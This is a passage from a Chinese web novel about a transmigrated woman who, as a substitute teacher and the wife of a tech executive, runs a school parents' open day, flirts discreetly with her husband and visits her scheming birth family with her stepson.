握着饮料瓶的手紧了紧,原本想要上楼的脚步一转,他若无其事地返回客厅,坐到沙发上,然后随手抓起遥控机打开电视。 带着口音的播音腔调在别墅里响起,顷刻间便填满了安静的客厅,江许黎懒洋洋听着新闻,实际注意力都放到了身后不远处。 没一会儿,阳台上的女人站了起来,并朝着这边走过来。 江许黎连忙坐正身子,目光直直盯着屏幕,装作全神贯注的样子。 身侧沙发微微下陷,有人挨在旁边坐下,空气中传递过来夜风的凉意。 金苒发现发呆确实是恢复精力的好方法,这会儿她的精神就很不错,拍拍江许黎的肩膀让对方把毛毯给自己拿过来,裹在身上保温,然后心情轻松地准备看一会儿电视。 “嗯?” 下一秒,她语气充满惊讶地问:“你喜欢看这个?” 江许黎正犹豫要不要说些安慰的话,听到女人问题下意识应了一声,等到抬起头的时候已经晚了。 他发现自己打开的是农业新闻频道,电视上正播放科学养猪的专题节目。 江许黎:“……” 金苒忍俊不禁。 堂堂科技大佬的儿子喜欢养猪,反差感着实有点儿大,不过俗话说得好,三百六十行行行出状元,作为家长兼老师,要对学生的合法爱好表示支持,她忍着笑意道:“养猪挺好的,说不定以后管家买猪肉还能便宜点。” 江许黎:“……” 找他拿折扣价是吧? 少年抿嘴,绷紧下颌,气得板着一张冷脸,活似别人杀了他的猪仔似的,但半晌还是没忍住,跟着笑起来。 亏他刚才还担心,这女人根本不像伤心的样子! 果断拿起遥控器换了一个频道。 第二天,抵达学校的江许黎找到陈训良,问:“你找的那些打篮球的人都是谁?” 陈训良面色茫然,但还是如实说道:“四班的杨胖子,还有六班的曲坪,咱们班的那几个人你都知道了。” “能把他们叫出来么。” 两人目光对上,陈训良看到自家黎哥凝重的表情,也跟着严肃起来:“行。” 昨晚江许黎仔细想过,能让她在意的,最近大概就是家长参观会的事情。 他不知道具体发生了什么事情,只尽量帮她做好力所能及。 不谈江许黎这边的准备,时光转瞬,六月三十号,家长参观会的日子如期而至。 这天上午,林太太带着侄子一家来到文承中学。 除此之外,居然还有其他人。 林太太笑着朝金苒介绍:“咱们这样的家庭,旁的不担心,就是担心孩子还在学校调皮捣蛋,知道你在文承中学任职的事情,她们便非要跟我过来看看。” 听到这个理由的金苒微微有点儿囧。 没想到自己还有这样的“妙用”。 不过也明白林太太是客气才这样说的,现在的有钱人喜欢把孩子送去读国际高中,或者干脆送出国,但也有些人想让孩子留在国内,自然非常看重公立中学的实力。 文承中学虽不是全国顶尖,在A市却是数一数二,学术水平,竞赛成绩和名校录取率都不输国际高中,甚至更强一些。 参观的车子一路畅通开进学校。 为了今天的活动,金苒特意提前好几天调课,然后空出时间接待众人,签到暖场,分发茶水和姓名贴。 当然这样的重大场合,不可 能只有她一个人,她是活动的主策,但参观会却是事关学校的大事,校长亲自出面,还有几个行政部的老师一起过来帮忙。 饶是如此,金苒也觉得分身乏术。 忙!忙!非常忙! 忙到让她第一次体会到了爬山俱乐部小群里其他老师的崩溃。 原来不是文承中学对老师体贴,而是之前的她根本没接触到核心工作区! 要知道,其他学校的老师日常除了备课上课,还有应接不暇的讲座和教研,一周开会七次,公开课一次,试讲N次,最要命的是得在深夜挤出时间写课题论文,光是想想就让人头皮发麻。 这样一比较,只带一个班级的金苒简直幸福得像在度假。 她一边想着,一边手上动作不停,将准备好的资料按人数分好。按照计划,接下来的活动是播放学校纪录片,校长作为致辞人,有十分钟演讲和五分钟问答,以此向家长们展示文承的办学理念。 然而金苒环顾四周,发现这会儿其他人都在忙着,根本没有时间去操作设备。 她心里咯噔一下,眼看着校长已经在那儿站了半分钟,她正准备暂时放下手中的工作,礼堂门口突然走进来几个学生。 打头的是江许黎,少年难得有一次把校服穿得如此规整,挺拔的身姿配上青春的服装,整个人显得格外精神。 跟在他身后的学生同样衣着整齐,几人进门后便四处找活干。 有的主动接待家长,有的忙着添茶倒水,江许黎则径直走到金苒身边,一声不吭拿走她手中的资料包。 金苒愣了一下,很快就会意地松开。 两人不需要多说什么,对视一眼,金苒转身走向放映设备,并用十几秒的时间利落地插好连接线,调试投影仪,终于在计划的最后一刻让纪录片顺利播放。 整个过程进行得悄无声息,台下的家长谁都没有发现这个险些出现的纰漏。 不过江许黎的身份,却是被很多人认了出来。 大家表面上不动声色,心里却惊讶不已,虽然上次的金家宴会,她们就见识到这对继母子和平相处的场景,但万万没想到,一向桀骜不驯的江家小少爷,居然会任劳任怨听从金苒的差遣! 再看看自家那些站没站相、坐没坐相的熊孩子,贵太太们突然一股无名火堵在胸口,很想打一顿是怎么回事? 不知道父母想法的孩子们莫名打了个哆嗦。 心想,这个学校的冷气还开的怪足呢。 / 小孩有小孩的想法,大人关注的却是另外的角度。 因为江许黎的态度,在场的贵太太们对金苒的重视程度又提升了几分。不管她是装模作样还是真有两把刷子,能让江家大少爷这般服服帖帖,就足以说明她在江家的地位非同一般。 所以和金苒打好关系,对她们来说百利无一害。 几个太太不约而同有了打算,后面去听了一节特级教师的试讲课,心中更是满意,坚定了要把孩子送到文承读书的决心。 离开礼堂,林太太问能不能四处参观一下。 金苒微笑着点头:“当然可以,不过眼下正值期末复习周,学生们都在紧张备考,还希望大家配合保持安静。” “这是自然,学习最重要。”几位太太连声应和。 于是金苒便安排志愿者、带着这些贵太太们去参观校园。 导览一共两条线路,一条从图书馆到实验室再到食堂,另外一条是艺术教室、数字电脑室、操场,根据每个人的喜好自由分组。 安排好这一切,金苒转头看向身后,却发现不知道什么时候,江许黎几人已经悄悄离开。 / 与此同时,学校门口,一辆奢华的迈巴赫驶入校园。 得到消息的校长带着其他人匆匆赶过来,看到从黑色轿车下来的男人,立刻迎上去,“江总您来了,有事耽误了会儿,让您久等了。” 江明羧:“没事,我也是刚到。” 他态度还算温和,校长便放下心来,热情地邀请人去会议室喝茶。 有了前期的合作基础,这次洽谈进行的格外顺利。双方很快达成协议:明技科技将捐赠文承中学一座室内体育馆,并共同成立教育基金会,里面的基金用于资助贫困生和奖励优秀师生。 作为条件,建成的体育馆将以“明技”进行命名,同时学校需配合明技科技开设企业特色课程,共同打造“名校+名企”的合作模式。 说到底,江明羧是商人,商人不做赔本的生意,在政策的支持下,向学校捐赠的明技科技可以获得补贴,同时提前建立人才库,利于定向培养未来潜在员工。 除了以上两点,企业名声也是重要的一方面,一个好的企业形象,有利于增强公众好感度。 而对于校长来说,则是几乎没有付出代价就获得了诸多好处,遂高兴地在签下名字。 合作速度之快,让人简直不敢相信这是笔几百万的项目。 再联想想到之前那个教导主任,居然连这么简单的事情都能搞砸,校长就气得牙痒痒。 见天色接近中午,他笑着提议:“江总,不如等会儿一起吃个便饭?” 江明羧婉拒:“不必了。” 虽如此,也没有立刻离开,而是转而口中提起另外一件事情,“听说,你们学校今天有一个家长参观会?” 第55章 第55章已大修)这位就是金老师吧…… 闻言,校长心思动了动。 家长参观会是金苒提出来的活动,起初他也很重视,后面迟迟未见成果,才起了让万长城半道加入的心思,这会儿听到江明羧提及,颇为心虚。 毕竟他也没想到,这位江总真的会亲自过来啊。 “确实有这么个活动,金老师虽然是代课老师,不过能力出众,入职以来办了不少实事,这样的优秀人才,转正后我们一定会重点培养。” 江明羧眉梢微动:“听起来,这位金老师很出色。” 校长心知肚明,表面却装作不知两人的关系,既然江总有意避嫌,他自然识趣地配合着把戏演下去,在问清楚金苒等人的位置,便带着人过去。 而此时的金苒,正在处理一件棘手的事情。 家长参观会是万老师主动要求参与进来的,金苒原以为对方既然分了一杯羹,起码会承担起自己的那份责任,谁知当她带着家长路过时,竟看见万老师直接把几位老总晾在了学校的马路上! 盛夏酷暑,气温直逼三十五度,炽热的阳光像蒸笼里窜出的火苗,烤得人喘不过气。眼看着几位老总的脸色越来越难看,金苒不得不主动联系万老师。 电话倒是接通了,可万老师说自己吃坏了肚子,此刻正困在厕所里,再怎么不情愿,他也只能拜托金苒临时救场。 金苒:“……” 不怕神一样的对手,就怕猪一样的队友。 她突然觉得之前把万老师视为竞争对手是一件可笑的事情,现在看来完全高估了对方,就凭这人的办事能力,恐怕连做上桌的资格都没有! 深呼一口气,金苒让志愿者先带着林太太她们去下一个地方,自己则迈步走上前。 并非是帮万老师,而是为了这场家长参观会,两个多月的准备和筹划,她绝对不允许任何差错毁掉这次活动。 几位老总果然心生不满。 他们有心来投资,却不是上赶着撒钱,其中一位抬手看表:“看来贵校对合作的诚意不过如此,既然如此,我今天就先告辞了。” “请等一下!” 见状,金苒连忙出声挽留,她目光诚恳,态度谦卑,一看就和万老师那种投机取巧之辈不同,上来先表达歉意:“这次确实是我们安排不周,但请相信,这绝不代表学校的诚意。” “而且投资教育最重要的不是看场地,而是看学生,去年全国创新大赛中,我们文承中学高三年级有六名学生参赛,其中两人获得铜奖,一人斩获金奖,学生们 的项目成果比我们老师的介绍更有说服力,如果几位感兴趣的话,不如移步参观一下?” “当然了。” 说到这,她笑着适时补充一句:“如果各位真的有事,可以下次再来,到时候我会亲自来接待大家。” 全程态度不卑不亢,不仅展现了文承中学老师的风貌,最后还礼貌地将选择权交给对面。 如此以退为进,让几位老总的火气消散了些。 最先开口的那位老总甚至被被激起了一点儿兴趣:“你说的学生项目,是不是关于除草机器人?” “是的,”眼看有戏,金苒立刻递上手册。 眼下的她无比庆幸自己为了给未到场的江明羧准备简报,多做了一份“学术”展示。 贵太太不爱看这些复杂的成果,追求利益的公司老总们,却是实打实重视。 几位老总交换了个眼神,果然没有再提离开的事情,见状,金苒悄悄松了口气,正要引导着老总们去参观成果,身后突然响起一阵掌声。 循声望去,却见校长带着一个人走过来。 男人西装革履,气定神闲,举手投足间显露出成功人士的从容,仿佛漫步在自家后花园般自在。 两人目光在空中短暂交错,金苒愣了愣,没来得及疑惑嘴上说忙碌的人为什么会出现在这里,对方已经被人群给包围。 “江总,您也来了!” “呵呵,我是康健集团的张强,没想到能在这里遇见您,真是荣幸!” “上次那个慈善晚会,我还和您打过招呼呢。” 方才还端着架子的几位老总这会儿纷纷热情地迎了上去,江明羧略作回忆,确认并不相识,但仍保持着得体的微笑:“我家孩子在这里就读。” “原来如此,文承中学在A市可是数一数二的,怪不得江总把孩子送过来。” “我看公立学校未必比私立差,想要走国内高考,公立学校的教学质量肯定更有保证。” “说的对,回去后我得认真考虑一下和学校的合作事宜。” 后方,王特助看着自家总裁被人攀谈,额头逐渐冒出细密的汗珠。 要知道江总素来最不耐烦应付这类场合,他正准备上前帮忙解围,令人意外的是,今日的江明羧竟出奇地和颜悦色:“文承的确不错,听说学校今天举办家长参观会,我正好有空就过来看看,希望没有打扰到各位。” 男人态度随和,虽然脸上没多少笑容,但几位老总却已经笑脸如花。毕竟平日里他们想见这位江总一面都难,如今对方主动提出加入,自然是求之不得。 “怎么会打扰呢!” “是啊是啊,我们也才刚到不久。” 江明羧微微颔首,这才再次越过众人,将目光落到人群后方的金苒身上,温声道:“这位就是金老师吧,听校长说此次的参观会由金老师一手操办,果然年轻有为,有勇有谋。” 金苒:“……” 要不是早晨的时候他们还在同一个餐桌上吃饭,以及看到男人眼底的笑意,她还真以为自己认错了人。 众目睽睽之下,金苒只能装作第一次见面的样子,微笑道:“江总过奖了,我只是尽了自己的本分,文承能有今天的成绩,全靠校长的英明领导和各位同事的共同努力。” 这种时候,她就是再自信也不会把功劳全部揽到自己身上,没看到校长还在旁边吗?金苒这番谦逊得体的官场话术,果然让胖老头满意地眯起了眼睛。 不过校长心里清楚金苒的真实身份,适时站出来安排道:“江总刚刚与我们学校签订了长期合作协议,将大力支持学校的教育发展,所以待会儿金老师要带江总好好参观校园,介绍一下我们文承的特色。” “好的,校长。” 金苒点头,然后朝江明羧伸出手:“江总合作愉快。” 江明羧目光微垂。 面前的手白皙、纤细,指节没有佩戴多余的饰品,像是上好的羊脂玉般泛着温润的光泽,他与之交握:“麻烦金老师了。” “您客气了。”指尖轻轻相触,又迅速收回,分寸把握得恰到好处。 只尚未消散的触感,残留着另外一人的温度。 除了校长这个知情人,谁都没有看出两个人不一般的关系。 哦,还有随同的王特助。 无人注意的角落,人生第一次猜错老板想法的王特助,默默把和老板娘打招呼的话咽了回去,想起当初替小少爷办理入学时,江总特意叮嘱不需要特殊对待,如今却怕太太受委屈,亲自到场支持工作…… 王特助暗自给小少爷掬了一把辛酸泪,后面看到一向严肃的江总,居然配合倾听太太的介绍,玩“初次见面”的游戏,又忍不住腹诽:莫非这就是传说中的…越活越年轻? 金苒不知道表情严肃的王特助,内心如此“丰富多彩”。 见他眉头紧锁,还以为是自己讲解得不够清楚,于是又耐心重复了一遍:“刚才的实验已经是过去式,今年下半年学校会将大力支持奥数比赛,培养学生的多面发展……王特助还有什么想了解的地方吗?” 江明羧淡淡瞥过去一眼。 只一眼,王特助就清醒过来,额头冷汗“唰”得流下来,他居然敢在江总面前走神!尴尬之际,余光瞥见一点儿绿意,忽然灵光一闪:“那边的黑色架子是什么,我看到贵校有多处这样的景观,是为了美化校园环境,还是有什么特殊用途?” 金苒果然被转移了注意力:“哦你说那个啊,那个是花廊,为了让学生可以多眺望绿色而建造的,设计方面除了美观还有实用,比如这一片,外围是花坛,里面架着廊架,路过的学生可以在里面乘凉。” 说着,见大家都有些意动,金苒便改变路线,带着几人往廊架那儿走。 正值盛夏,这条专门用来乘凉的廊架上爬满了繁茂的葡萄藤,紫红色的果实累累垂挂,颗颗饱满诱人。 有人惊喜地观望:“这葡萄能摘着吃吗?” 金苒笑了笑:“能是能,这些种在花坛的葡萄不用打农药,大部分被鸟啄了,剩下的都是绿色无污染,每年新入学的学生都会抢着过来摘。” 大家一时没明白为什么新生会抢着吃,那些高二高三年级的学生难道不吃吗? 金苒索性道:“我给你们摘几串吧。” 说罢她走到花廊底下,仰头观察哪一串葡萄颜色更深,结果发现熟透的几串都长在了中间的位置,她不得不换一种方式,想要借助长椅攀高。 也是这个时候,江明羧再次站出来。 他看了她一眼:“金老师的衣服不太方便,我来吧。” 众人这才后知后觉意识到,金苒今天穿的是一件长裙,虽然裙子长度没过膝盖,但室外的风可不小,如果站到高处,说不定会走光。 没想到江明羧连这样的情况都注意到了。 金苒微微一怔,随即唇角扬起一抹浅笑,毫不迟疑地退后让出位置。 江明羧则顺势走上前,不知何时,他已经脱下了西装外套:“能麻烦金老师帮我拿一下吗?” 虽是询问的语气,手上的动作却早已伸到她面前,金苒内心颇为无语,男人要不要这么幼稚。 表面一本正经:“江总放心,我一定好好给你拿着。” 交接时,深灰色的西装外套隔出一方私密空间,衣物下,指尖似有若无地掠过她的掌心,像一片羽毛轻轻扫过。 金苒心一跳,倏然抬头,却见江明羧已经神色如常地转身,仿佛方才的触碰不过是个意外。 第56章 第56章已大修)抱歉,一时情不…… 为了不弄脏长椅,金苒折了片花坛里的叶子垫在上面,江明羧踩上去时,高大的身形几乎触到架子顶端,于是不用抬手,便轻而易举摘到了顶部的葡萄。 人不多,只摘了两串,金苒用矿泉水仔细冲洗,再沿着枝丫分成小份发给每一个人:“数量有限,大家只能先尝尝味道了。” 见状,同行的王 特助头上直冒冷汗。 他什么咖位,配太太来“服务”? 赶紧双手接过去,诚惶诚恐的样子只恨不得跪下行一个大礼,当然,他也没有怀疑金苒,想都没想就吃进嘴里。 可谁能料到,这小小的,熟到紫红的葡萄竟然比陈醋还要酸,王特助呕的一下吐出来,这下他终于明白为什么只有高一的学生会摘葡萄,因为其他年级的学生早就知道了葡萄的味道! 金苒:“……” 她如果说自己不是故意的,只怪王特助速度太快,会有人相信吗? 低下头,自己手里还捏着一小枝葡萄,忍不住看向身旁的江明羧,打趣道:“江总还要尝一尝吗?” 江明羧看了她一眼,竟然真的接了过去。 金苒只是和他开玩笑,哪里会真的让他吃,刚要出声阻拦,结果男人喉结滚动,入嘴的葡萄已经咽了下去。 “还不错。” 他神色如常地评价。 金苒面露狐疑,想从那双平静的眼睛里看出端倪,却只看到一派坦然。于是渐渐也产生怀疑——难道歹竹出好笋,这一架子的酸葡萄里还出现了一株甜葡萄?自己不信邪地揪了一颗,然后直接被酸倒了牙。 一抬头,正对上男人握拳抵唇、强忍笑意的模样。 “看来金老师运气不好,吃到的那颗是酸的。” 金苒:“?” 他绝对是故意的! …… 体会完可观不可尝的葡萄,一行人继续往操场走。 夏季炎炎烈日,炽白的阳光烤着水泥地,蝉鸣哄闹打破午后宁静。 正值课间,操场上满是奔跑嬉戏的学生,热闹的场景让平日端坐办公室的老总们眼前一亮——毕竟当年读书时,谁没在操场上挥洒过青春? 等金苒反应过来,“最年轻”的她已经被几位老总远远落在后面。 “……” 林荫小道,有风习习,吹散了额头的汗珠。方才一直忙着说话没有功夫乱想,这会儿闲下来,她的视线控制不住落到同其他人交谈的江明羧身上,思绪有些发呆。 外人面前的江明羧似乎更加冷淡一些。 倒不是不苟言笑,相反,他嘴角一直带着浅淡的笑意,只不过笑不达眼底,看似予人礼貌,实际和谁都隔着一层。 其实刚开始对她的时候,他也是这样。 后来熟悉起来,他发现了她的秘密,又选择替她保密,两人之间竟也逐渐熟络起来。 “想什么呢?” 耳边传来一声询问,金苒回过神,才发现不知道什么时候,江明羧已然来到了自己身旁。 她张张嘴准备回答,他却突然抬手,修长的手指轻轻抚上她的头顶。 “别动。” 袖口传来一阵若有若无的冷冽香气,笼罩着扑面而来,咫尺之隔的距离,近到她能看见江明羧的眼睫毛,浓密的,纤长的,像鱼饵似的,挂在弯尖上。 不远处是参观会的其他人,细小的说话声影影绰绰,愈发衬得这一方静谧。意识到此,金苒耳尖发烫,莫名有种在学校偷偷早恋的错觉——明明什么都没做,却无端心虚起来。 她赶紧摇摇头,摇走满脑子的胡思乱想,自己都二十五了,哪里来的早恋…… 殊不知,她这点儿自认为隐秘的小动作,被“居高临下”的江明羧尽收眼底。 嘴角带上了笑意,又很快恢复从容,若无其事地过“抚摸”过发顶,就在这个时候,走在前面一位年轻老师突然回过头。 “江总,金老师……咦?” 那人话音戛然而止,困惑的目光在两人之间游移:“你们这是?” 金苒明显感觉到身旁男人的动作一滞,虽然很紧张,但那一刻她还是险些笑出声,让你故意靠这么近,这下翻车了吧? 她小心思要看热闹,谁知江明羧只停顿了一会儿,便淡定地收回手,食指间捏着一片树叶:“有东西。” 见状,那人恍然大悟:“原来是帮忙,江总真是平易近人。” 等到对方转回头,心跳落回嗓子眼的金苒气得瞪了一眼。 工作场合,不要胡闹! 江明羧笑了笑,配合地后退半步,压低嗓音和她道歉:“抱歉,一时情不自禁。” 情不自禁什么? 金苒脸色火辣辣的,仿佛涌起了一层傍晚火烧云。 但她才不相信,男人的嘴骗人的鬼,早在他骗她吃酸葡萄的时候,这个男人的信誉就大打折扣。 江明羧道完歉后便直起身子,脚步幅度增大,准备拉开两人的距离,却被金苒一把拉住袖子:“等等,江总。” 他无所察地回头,而身后的金苒则趁着旁人不注意,踮起脚尖对着他喉结吹了一口气。 刹那间,江明羧仿佛按下暂停键,浑身绷紧,“报答”回来的金苒笑嘻嘻后退,将一片树叶放到江明羧的手心里。 “江总走的太快,有东西落下了。” 她眉眼弯弯,双眸间尽是流转着似嗔似怒的风姿。 / 参观会的流程早在几天前就已经敲定。 此时此刻,前来参加活动的“客人”已在操场观礼台就座。这种未经刻意编排的表演,反倒更能展现文承学子真实的精神风貌。 比如答应给金苒帮忙的自发篮球小队,因为不是正式比赛,学生们打得轻松自在,场边的企业家和贵太太们也都看得津津有味。 十五六岁的高中生,肆意张扬,他们在塑胶道上奔跑,汗水汇成溪流,球鞋与地面摩擦,高高跳跃的身影被阳光定格。 在他们旁边,还有踢毽子的女同学,马尾辫一蹦一跳,打着青春律动的节拍。 江许黎带着同学帮完忙,转头来到操场上“玩篮球”。 他知道金苒的目的,所以和平日里打篮球比,这次多了许多炫技的地方,果然引得过来参观的众人赞叹连连。 等上课的预备铃敲响,篮球小队才停下来,三三两两抱着篮球回教室。 一点儿也不耽误学习~ 经过观台的时候,江许黎仰头抹了一把汗,不经意看到了和金苒相对而立的男人。 脚步猛地一顿。 等等,他爸怎么来了? 江许黎懵了,脑海中只剩下一个念头——那他刚才打篮球的样子岂不是全部被他爸看到了。 登时,江许黎有些不自在起来。 并在脑海里迅速回忆自己的表现——有没有失误?有没有耍帅过头? 好像都没有,所以……应该表现得还可以吧? 相比较江许黎的偶像包袱,除了见面时有些惊讶,金苒倒是从头到尾表现镇定。 更加成熟是一方面,另外一方面,她满脑子都是把这次活动办好,江明羧对她来讲,和其他家长没有什么区别。 尽职尽责扮演着陪同老师的角色,参观完学校后,她给每一位“家长”发了一份登记表,并收集大家的意见。 无论是林太太一行人还是万老师邀请来的老总们,都对她的工作态度赞不绝口,有几位甚至主动交换了联系方式。 对此,金苒欣然接受。 经历多了之后,她已然明白人脉的重要性,所以趁着现在还能狐假虎威,不吝于大力发展属于自己的人脉。 活动尾声,校长再次出现。 先是登台致辞,对来到文承的“家长们”表示感谢,然后亲自将带着纪念品的家长们送出校门。 尽管过程中有些小插曲,家长参观会最终还是圆满落幕。 这次活动让金苒在教师群体中的知名度进一步提升。 特别是在万老师应对失当的对比下,临危不乱的金苒便显得格外出色。 全体老师会议上,校长表扬了金苒的贡献,原本还有些人不服气,但后续得知已经有包括明技科技在内的三方向学校捐赠,这些人再说不出什么话来。 没过多久,万老师深感羞愧,主动向学校递交了离职申请。 听说这件事后,金苒觉得毫不意外。 不过是不是“主动提交辞呈”有待商榷,她觉得大概率是校 长做了什么。 无论什么,这些事情都和金苒无关了。 时间回到当下。 参观会结束的傍晚,金苒特意停留了一下,等着江许黎从教学楼出来。 往常少年身边只有陈训良一个人,今天却是围了不少,运动能增进男生的感情,一场篮球“表演”,让其他班级的男生对“不好惹”的富二代同学有了改观。 大家主动和他勾肩搭背,甚至约着周末一起出去玩。 看到金苒,几个高中生立刻大声叫人:“金老师好!” “金老师,我们今天表现得怎么样啊,您还满意吗?” 金苒竖起大拇指:“不止我满意,家长们看得都移不开眼睛了。” 高中生们心思纯粹,稍微一夸就红透了脸,见金苒明显有事情找江许黎,大家纷纷识趣地告别。 江许黎酷酷地看她。 “找我有什么事情?” 金苒也没有隐藏自己的来意:“我觉得,我们得站在统一战线。” “统一战线?”江许黎表情狐疑。 “对,反抗暴政统一战线。” 金苒生气说:“你爸一声不吭过来,打得我们措手不及,难道我们不应该联合起来让他意识到自己做的不对的地方?” 江许黎诧异看了她一眼,这女人真大胆,连他爸的老虎毛也敢拔,不过……“我觉得你说的对。” 没什么,他也被他爸吓到了,要点儿说法应该很正常吧。 第57章 第57章纯情小少年 两人一拍即合。 可没想到的是,这个计划刚到家就被打破了。 “你说金德柱生病了,让我去照顾他?” 金苒有些不可置信,以至于说话的声音都高了几分。 江许黎佩服地看了她一眼,他以为自己就很大胆了,没想到她竟然更大胆,敢直呼亲爹的名字。 金苒可不知道江许黎内心的“赞赏”。 因为她根本没有把原身的坑爹亲人当做家人,一时改不过口头称呼很正常,好在江明羧了解她,点了点头:“听说快不行了。” 金苒:“……” 她观察男人还有闲情逸致泡茶的样子,对这个“快不行”的说法实在不敢恭维,她好奇地问:“你说他想做什么?” 上次见面还是斗鸡似的模样,没道理突然重病,而且早不说晚不说,偏偏“病入膏肓”的时候才让自己回去侍疾,怎么看都有蹊跷。 江明羧把泡好的第一杯茶递给她:“大概是想让你回去一趟。” 自从金老爷子寿宴后,金家人就不敢再联系金苒,谁知道金苒竟也从来没有想过回去,金父金母自然就着急了。 而父亲生病,当女儿的回去照顾一二,任是金老爷子都挑不出问题。 茶香氤氲,金苒轻抿一口,不得不承认江明羧说得在理。 不过,原身的父母找她做什么? 她和他们见面不多,但零星几次通电话,也看的出双方关系并不好。 “要回去吗,如果不愿意,我帮你拒绝。”江明羧询问她的意见。 “算了,还是回去看看吧。” 金苒摇头说道。 一直躲避不是问题,她是无意识穿书,但怎么说也是占了原身的身份,而且在这里生活的时间越长,她就越是无法把这个世界单纯地看做一本书,这里的每一个人都是有血有肉的。 江明羧顿了下:“我陪你一起。” 金苒笑起来:“别,今天在学校看到你的时候我都吓了一跳,要不是台词背的熟练,说不定就要丢脸了。” “台词?”江明羧目露询问。 “就是‘江总你好’、‘江总再见’。”金苒眨眨眼。 闻言,江明羧嘴角翘起:“那我证明,你的台词记得很牢固。” 虽然看见他后有一瞬间的惊讶,但却没有忘记自己的任务,自始至终坚守岗位。 江明羧曾经帮忙修改过推介方案,所以知道金苒那流畅的讲解背后,实际是把十几张的内容全部背下来,谈吐从容,举止得体,即便抛开他们现在的关系,单是这份认真的态度,也足以让他心生赞赏。 “所以啊,你就安心去公司工作吧,我那黑卡还指望能用的久一点呢。” 金苒一副怕把他花钱花破产的样子,实际上从拿到黑卡到现在,她一次都没有用过,真实原因只是怕金家父母会向江明羧提出一些过分的要求,不好拒绝罢了。 江明羧尊重她的意见。 “那让小孙送你过去。” “好吧。” 小孙开车还是很稳的。 倒是江许黎在旁边竖着耳朵听了半天,这会儿突然开口:“其实我明天没事。” 两双眼睛同时望过去。 江许黎顿觉有些压力山大,表面还要强装着镇定:“徐老师说我的语文补习的差不多了,只剩作文还差一点,而且写作文不能闭门造车,得多出门体验生活。” 这话不算撒谎,徐珍是真的这样说过,不过原话是“您老这八股文,还不如撒把米在地上,让鸡走个盘山公路有波折。” 鸡走盘山公路和他出去走走,江许黎自觉没什么区别。 他可没有忘记那个妄图嫁给他爸的金静,和满肚子算计的金大伯。 在江许黎眼中,整个金家人没一个是省油的灯,以前的金苒说不定就是被金家人撺掇着才会讨人厌,后来联系断了,反倒变成了正常人。 所以他得去看着点。 至少不能让金苒又被那些人洗脑。 金苒有些奇怪:“去金家能体会什么生活啊,难道我们家不行吗?” 江许黎一本正经:“破产的生活。” 金苒:“……” 江明羧:“……” 这个好像确不太行。 金苒在让江明羧破产和金家破产之间,没怎么犹豫选择了后者。不就是孩子想见识一下多样的生活么,当家长的怎么能拒绝呢?而且江许黎那嘴,如同带着两个意大利.炮,说不定还能保障她的人身安全。 第二天早上八点半,两人在客厅不期而遇。 金苒怔了怔,随即莞尔一笑。 昨晚约定集合的时间是九点,她想着江许黎每天上学都是生死时速,或许会晚一点儿,已经做好再等他半小时的准备,没想到这小子居然比自己还要早。 餐桌上,江许黎风卷残云吃了七根油条,外加一碗皮蛋瘦肉粥和两个茶叶蛋,金苒没什么胃口,只喝了半碗粥。 他们这次去的不是金家的老宅,而是二房的一处房产。 金老爷子膝下两子,原身父亲排行老二,年轻时便没什么本事,如今金家破产,只能仰仗老爷子和金大伯的接济过活。 金苒不是什么随便发善心的活菩萨。 人和人的相处从来都是相互的,对方从一开始就对她不好,她自然不会上赶着攀亲情,所以打定主意这次只是走个过场,顺便看看对方葫芦里卖的什么药。 果不其然,等到了地方,金德柱并没有传话中说的“病入膏肓”,只是有点儿小感冒,加上平日大鱼大肉吃多了,查出脂肪肝。 看到金苒,金德柱下意识就要训斥,被身旁的金母扯了扯衣服才憋了回去。 半天,挤出一个扭曲的笑脸:“既然回来了,这次就在家多待几天。” “不用了,我过来看看你们,下午就走。” 金德柱终于没忍住,怒道:“你都嫁给江明羧了,还有什么可忙的!” 这闺女就是个白眼狼,当初说好嫁过去就贴补家里,再让女婿安排他进明技当个副总,结果这都过去大半年了,别说副总的位置,连半分钱的好处都没见着。 眼瞅着手头那点积蓄快要见底,这才火急火燎地把人叫回来算账。 哪知金苒比他还要激动,手中的茶杯哐当砸到地上,一副哀莫大于心死的样子:“你们觉得豪门太太这么好 当吗!每天起得比鸡早,睡得比狗晚,不仅准备一日三餐,半夜还要等应酬的丈夫,作为父母,不关心我罢了,张口闭口就是是指责!” “你以为我今天为什么要带着孩子来,因为我不做饭,他在家就要饿死了!” 差点饿死的江许黎:“……” 他怎么不知道自己享受过这样的好日子? 但看到金德柱夫妻俩怀疑的眼神,想了想,他学着见过的那些小混混:“看什么看?老子饿得前胸贴后背了!” 金苒立刻柔声安抚:“小黎你再忍一忍。”转头就对金德道,“爸,您先借我五千块钱,这孩子挑嘴,我中午带他去外面吃。” 两人一唱一和,这下金家父母再怀疑,也不得不相信金苒在江家过得并不好,眼见算计落空,金父顿时垮下脸:“家里哪还有钱,吃不惯就早点走。” 金苒又软磨硬泡了一阵,确认实在榨不出油水,这才“不情不愿”地被金母赶回自己房间休息。 江许黎人生地不熟,下意识紧跟着唯一认识的金苒。 走到房门口时,少年却突然僵住,双脚像生了根似的钉在原地。 金苒没有听到声音,回头看见他这副扭捏的样子,忍不住挑了挑眉:“怎么了?” 她猜测:“难道你没有进过女孩子的房间?” 被说中的江许黎耳根霎时一片发烫。 金苒看得好笑,还是一枚纯.情小少年啊:“这房间走的时候已经收拾过了,不用害羞。” “谁害羞了。”江许黎嘴上嘟囔,为了否认自己有那种情绪,直接大跨步走进去。 一入内,就险些被亮瞎眼,和金苒在硕果湾的卧室不同,原身的房间以夸张的玫粉色为主,硬装辅以法式风,连窗帘都缀着夸张的蕾丝花边,墙上挂着几张宽大的油画,画风鲜艳瑰丽。 江许黎觉得自己的眼睛受到了霸凌,恨不得立刻退出去,嘴上嫌弃道:“你以前的审美有点怪。” 金苒眯着眼睛看过去:“嗯?” “……怪有个性的。” 抵在脖子间的椅子腿撤离了。 穿书这种事情注定无法向别人解释,金苒没有多说什么,而是默认了自己“霓虹”的审美。 她让江许黎随便坐,自己则走到床头柜前面,那儿放着一个镶着碎钻的相框,里面的照片正是原身。 好奇怪,金苒看了几眼,总觉得自己现在的模样和照片有些差别。 江许黎也凑了过来,盯着看了一会儿,突然皱眉:“你以前长得有点丑。” “呵呵,你小子想挨揍是吧。” 江许黎觑了她一眼,小心翼翼躲开了点儿,但嘴上还是坚持道:“我可没有说谎,你看你之前鼻子是不是有点塌?眼睛也不如现在大,还有脸,以前的脸像鬼一样白,是不是粉底色号不对。” 他越说,金苒越觉得奇怪,但再看向照片,猛不丁发现似乎真的如此! 某一瞬间,金苒浑身的鸡皮疙瘩都冒了出来。 